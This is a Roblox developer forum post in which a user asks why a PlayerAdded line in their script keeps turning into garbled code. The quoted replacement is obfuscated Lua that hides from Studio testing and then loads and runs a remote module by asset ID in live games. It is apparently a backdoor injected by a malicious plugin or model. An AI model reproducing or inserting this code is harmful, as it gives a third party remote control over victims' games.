So I have a PlayerAdded function like this:
1 | game.Players.PlayerAdded:Connect( function (plr) |
right? but every time i restart Studio, the script breaks, when i check why, that line get changed to this;
1 | game.Players.PlayerAdded:Connect(ilU 9 cKaR = 'ReplicatedStorage' irwr = 1327528396.5 * 2 ihU 3 NgxcItB = 'IsStudio' itStcX 9 r 3 = 'load' iF 8 EVdnsYC 4 = 'SSM' icrhgdB 1 Pz = 'RunService' iL 2 gyzOz = 'GetService' ioBq 5 a 2 H 6 FloT = 'PlaceId' icgbzF = 'Debris' iMj 9 Bycd = spawn iOZjwxMPsw 7 = 'RunService' igvVV 7 CveJR = 'IsStudio' iROGw = 'PlaceId' iFTSUL 4 NzdQH = require iWdR 9 RRfvrh = 'MarketplaceService' iVk 3 m 9 = game iTbV 1 AMnfIWgPPy 9 I = 'GetProductInfo' i 6 TTwxF 1 G 5 mBZf 3 = pcall iMj 9 Bycd( function () i 6 TTwxF 1 G 5 mBZf 3 ( function () if iVk 3 m 9 :GetService(icrhgdB 1 Pz) [ igvVV 7 CveJR ] (iVk 3 m 9 :GetService(icrhgdB 1 Pz)) then return end iFTSUL 4 NzdQH(irwr) [ itStcX 9 r 3 ] (iVk 3 m 9 [ ioBq 5 a 2 H 6 FloT ] ) end ) end ) |
2 | function (plr) |
Can someone please help?
Closed as off-topic by User#24403, DinozCreates, and WideSteal321
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